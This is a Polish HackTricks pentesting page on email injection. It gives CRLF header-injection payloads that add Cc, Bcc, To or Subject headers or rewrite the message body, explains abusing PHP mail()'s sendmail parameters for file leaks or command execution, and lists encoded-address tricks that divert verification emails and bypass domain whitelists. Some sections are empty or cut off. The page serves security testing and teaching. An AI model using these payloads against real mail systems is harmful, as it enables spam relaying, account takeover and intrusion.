# Email Injections
\
Użyj [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
{% endhint %}
## Wstrzykiwanie w wysłanym e-mailu
### Wstrzykiwanie Cc i Bcc po argumencie nadawcy
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Wiadomość zostanie wysłana na konta odbiorcy i odbiorcy1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz konta atakującego.
### Wstrzyknij argument Temat
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Fałszywy temat zostanie dodany do oryginalnego tematu, a w niektórych przypadkach go zastąpi. Zależy to od zachowania usługi pocztowej.
### Zmień treść wiadomości
Wstrzyknij dwa znaki nowej linii, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Wykorzystanie funkcji mail() w PHP
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### 5. parametr ($additional\_parameters)
Ta sekcja będzie oparta na **tym, jak nadużyć ten parametr, zakładając, że atakujący go kontroluje**.
Ten parametr zostanie dodany do linii poleceń, którą PHP będzie używać do wywołania binarnego sendmail. Zostanie jednak oczyszczony za pomocą funkcji `escapeshellcmd($additional_parameters)`.
Atakujący może **wstrzyknąć dodatkowe parametry dla sendmail** w tym przypadku.
#### Różnice w implementacji /usr/sbin/sendmail
Interfejs **sendmail** jest **dostarczany przez oprogramowanie MTA email** (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż **podstawowa funkcjonalność** (taka jak parametry -t -i -f) pozostaje **taka sama** z powodów zgodności, **inne funkcje i parametry** znacznie się różnią w zależności od zainstalowanego MTA.
Oto kilka przykładów różnych stron podręcznika poleceń dla interfejsu sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
W zależności od **pochodzenia binarnego sendmail** odkryto różne opcje, aby je nadużyć i **wyciekować pliki lub nawet wykonywać dowolne polecenia**. Sprawdź jak w [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Wstrzykiwanie w nazwę e-mail
{% hint style="danger" %}
Zauważ, że jeśli uda ci się założyć konto w usłudze z dowolną nazwą domeny (taką jak Github, Gitlab, CloudFlare Zero trust...) i zweryfikować je, otrzymując e-mail weryfikacyjny na swój adres e-mail, możesz uzyskać dostęp do wrażliwych lokalizacji firmy ofiary.
{% endhint %}
### Ignorowane części e-maila
Symbole: **+, -** i **{}** w rzadkich przypadkach mogą być używane do tagowania i są ignorowane przez większość serwerów e-mail.
* Np. john.doe+intigriti@example.com → john.doe@example.com
**Komentarze w nawiasach ()** na początku lub na końcu również będą ignorowane.
* Np. john.doe(intigriti)@example.com → john.doe@example.com
### Ominięcie białej listy
### Cytaty
### IP
Możesz również używać adresów IP jako nazw domenowych w nawiasach kwadratowych:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Kodowanie e-maili
Jak wyjaśniono w [**tych badaniach**](https://portswigger.net/research/splitting-the-email-atom), nazwy e-maili mogą również zawierać zakodowane znaki:
* **PHP 256 overflow**: Funkcja PHP `chr` będzie nadal dodawać 256 do znaku, aż stanie się dodatnia, a następnie wykona operację `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Celem tego triku jest zakończenie wstrzyknięciem takim jak `RCPT TO:<"collab@psres.net>collab"@example.com>`\
co spowoduje wysłanie e-maila weryfikacyjnego na inny adres e-mail niż oczekiwany (w ten sposób wprowadza się inny adres e-mail wewnątrz nazwy e-mail i łamie składnię podczas wysyłania e-maila).
{% endhint %}
Różne kodowania:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@